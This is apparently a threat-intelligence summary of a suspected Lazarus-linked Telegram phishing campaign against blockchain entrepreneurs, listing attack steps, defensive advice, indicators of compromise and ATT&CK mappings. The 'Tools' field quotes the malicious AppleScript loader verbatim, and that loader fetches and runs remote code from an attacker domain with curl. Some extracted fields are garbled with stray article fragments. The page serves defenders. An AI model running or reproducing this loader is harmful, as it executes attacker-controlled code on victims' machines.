cyber.hendryadrian.com
Threat Research · hunt.io

Suspected Lazarus-Linked Phishing Campaign Targets Blockchain Entrepreneurs via Telegram

· Original article ↗

Summary

A phishing campaign impersonates investment partners on Telegram and tricks blockchain entrepreneurs into running a malicious AppleScript. Infrastructure similarities suggest a possible Lazarus Group link, but attribution is unconfirmed.

Key points

  • Attackers pose as investment-company representatives in Telegram groups to build trust with entrepreneurs and request Calendly links.
  • Victims receive a purported meeting link; after a fake access error, they are asked to run an AppleScript named IP_Request.scpt.
  • The script uses curl to retrieve and execute code from hxxps://support[.]internal-meeting[.]site/359215/send-ip-request.
  • The investigation linked the campaign to domains hosted on Hostwinds infrastructure, including support[.]cryptowave[.]capital and email[.]alwayswait[.]online.
  • The article cites infrastructure patterns and public reporting associated with Bluenoroff, APT38, and Black Alicanto as reasons to suspect a Lazarus Group connection; attribution remains unconfirmed.
  • Signum Capital publicly warned that someone was impersonating one of its employees on Telegram.
  • The article recommends caution with unsolicited investment offers and unknown links or scripts, and enabling Telegram multi-factor authentication.

Article Details

Attack Vectors
  • The attacker posed as a general partner of an investment firm in Telegram and built rapport with blockchain and angel-investing entrepreneurs.
  • After requesting the victim's Calendly link, the attacker sent a meeting link that produced a restricted-access message.
  • The attacker then instructed the victim to download and run an AppleScript file named IP_Request.scpt, which used curl to retrieve and execute a script.
Defensive Notes
  • Exercise caution with unsolicited investment opportunities and requests to download or run unfamiliar scripts.
  • Use multi-factor authentication to protect Telegram accounts.
  • Think twice before opening or running unfamiliar URLs or scripts.

Indicators of compromise

TypeIndicatorContext
DOMAINarchax[.]trustmeeting[.]liveDomain listed among the related campaign infrastructure indicators.
DOMAINaulis[.]venturesDomain highlighted as similar to the actors' infrastructure setup.
DOMAINbig-typl[.]onlineDomain listed as part of the campaign-related network indicators.
DOMAINdun[.]auditprovidre[.]onlineDomain listed among the related campaign infrastructure indicators.
DOMAINdun[.]wndlwndmfe[.]xyzDomain listed among the related campaign infrastructure indicators.
DOMAINemail[.]alwayswait[.]onlineCertificate common name used to pivot to domains associated with the infrastructure cluster.
DOMAINeosszzc[.]hateoo[.]spaceDomain listed as part of the campaign-related network indicators.
DOMAINmail[.]big-typl[.]onlineDomain listed as part of the campaign-related network indicators.
DOMAINmeet[.]cryptowave[.]capitalDomain listed among the related campaign infrastructure indicators.
DOMAINsecure[.]paycount[.]webbs-information[.]login[.]udaviemayas[.]comDomain listed among the related campaign infrastructure indicators.
DOMAINshared[.]dropbox-docsend[.]onlineDomain listed among the related campaign infrastructure indicators.
DOMAINsuntcijm[.]mouradvps43hostwin[.]onlineDomain listed as part of the campaign-related network indicators.
DOMAINsupport[.]cryptowave[.]capitalDomain hosting a fake venture-capital firm page identified as part of the related infrastructure.
DOMAINsupport[.]internal-meeting[.]siteSuspicious domain used for the malicious script-delivery URL.
DOMAINsupport[.]safe-meeting[.]onlineDomain listed among the related campaign infrastructure indicators.
DOMAINsupport[.]trustmeeting[.]liveDomain listed among the related campaign infrastructure indicators.
DOMAINsupport[.]ubi-safemeeting[.]liveDomain listed among the related campaign infrastructure indicators.
DOMAINsupport[.]video-meet[.]xyzDomain listed among the related campaign infrastructure indicators.
DOMAINtechnical-support[.]safe-meeting[.]onlineDomain listed among the related campaign infrastructure indicators.
DOMAINtrustmeeting[.]liveDomain listed among the related campaign infrastructure indicators.
DOMAINubi-safemeeting[.]liveDomain listed among the related campaign infrastructure indicators.
DOMAINubisoft[.]safe-meeting[.]onlineDomain listed among the related campaign infrastructure indicators.
DOMAINubisoft[.]trustmeeting[.]liveDomain listed among the related campaign infrastructure indicators.
DOMAINudaviemayas[.]comDomain listed among the related campaign infrastructure indicators.
DOMAINwww[.]big-typl[.]onlineDomain listed as part of the campaign-related network indicators.
DOMAINwww[.]group-meeting[.]xyzDomain listed among the related campaign infrastructure indicators.
DOMAINwww[.]team-meet[.]xyzDomain listed among the related campaign infrastructure indicators.
DOMAINyou[.]alwayswait[.]onlineDomain listed among the related campaign infrastructure indicators.
HOSTNAMEns1[.]big-typl[.]onlineNameserver listed as part of the campaign-related network indicators.
IPV4104[.]168[.]137[.]21IP address hosting domains identified in the related infrastructure investigation.
IPV4104[.]168[.]163[.]124IP address hosting a domain identified in the related infrastructure investigation.
IPV4104[.]168[.]163[.]149Infrastructure IP address to which the suspicious domain resolved.
IPV4142[.]11[.]212[.]104IP address associated with aulis[.]ventures, highlighted as similar to the actors' infrastructure setup.
IPV423[.]254[.]129[.]6IP address identified during the investigation of related infrastructure.
URLhxxps[:]//support[.]internal-meeting[.]site/359215/send-ip-requestURL embedded in the malicious AppleScript to retrieve a script for execution.

MITRE ATT&CK

T1059.002 · AppleScriptThe victim was instructed to run an AppleScript that invoked the shell, used curl, and executed the retrieved script.T1105 · Ingress Tool TransferThe AppleScript used curl to retrieve a script from the specified URL.T1204.002 · Malicious FileThe attack depended on the victim downloading and running the malicious IP_Request.scpt file.T1566.003 · Spearphishing via ServiceThe attacker used Telegram messages to approach victims, build trust, and deliver a meeting link and malicious-script lure.

Threat Actors

APT38Public reporting cited recurring infrastructure patterns as associated with the group; the article says Lazarus Group is the common name for the suspected actor.Black AlicantoPublic reporting cited recurring infrastructure patterns as associated with the group; the article says Lazarus Group is the common name for the suspected actor.BlueNoroffPublic reporting cited recurring infrastructure patterns as associated with the group; the article says Lazarus Group is the common name for the suspected actor.Lazarus GroupThe campaign's tactics were described as strikingly similar to those previously attributed to Lazarus Group; involvement in this campaign remains unconfirmed.

Products

AppleScriptCalendlyinvestor in the victim entrepreneur's organization. Next, the attacker requests the individual's Calendly link so they can schedule a call. For those unaware, Calendly is an online appointment and calendarTelegramHunt is tracking an ongoing sophisticated phishing campaign targeting individuals in the Telegram groups focused on the blockchain and angel investing communities, specifically entrepreneurs. The tactics described below

Tools

curl"# Troubleshoot the issue set fix_url to "https://support.internal-meeting.site/359215/send-ip-request" set sc to do shell script "curl -L -k \"" & fix_url & "\"" run script sc."

Countries

North Korea

Industries

Blockchainan ongoing sophisticated phishing campaign targeting individuals in the Telegram groups focused on the blockchain and angel investing communities, specifically entrepreneurs. The tactics described below are strikinglyInvestmentstate-sponsored threat actor. Communication begins with the actor posing as a representative of an investment company seeking business opportunities. As the conversation progresses, the victim is asked to download

Related Articles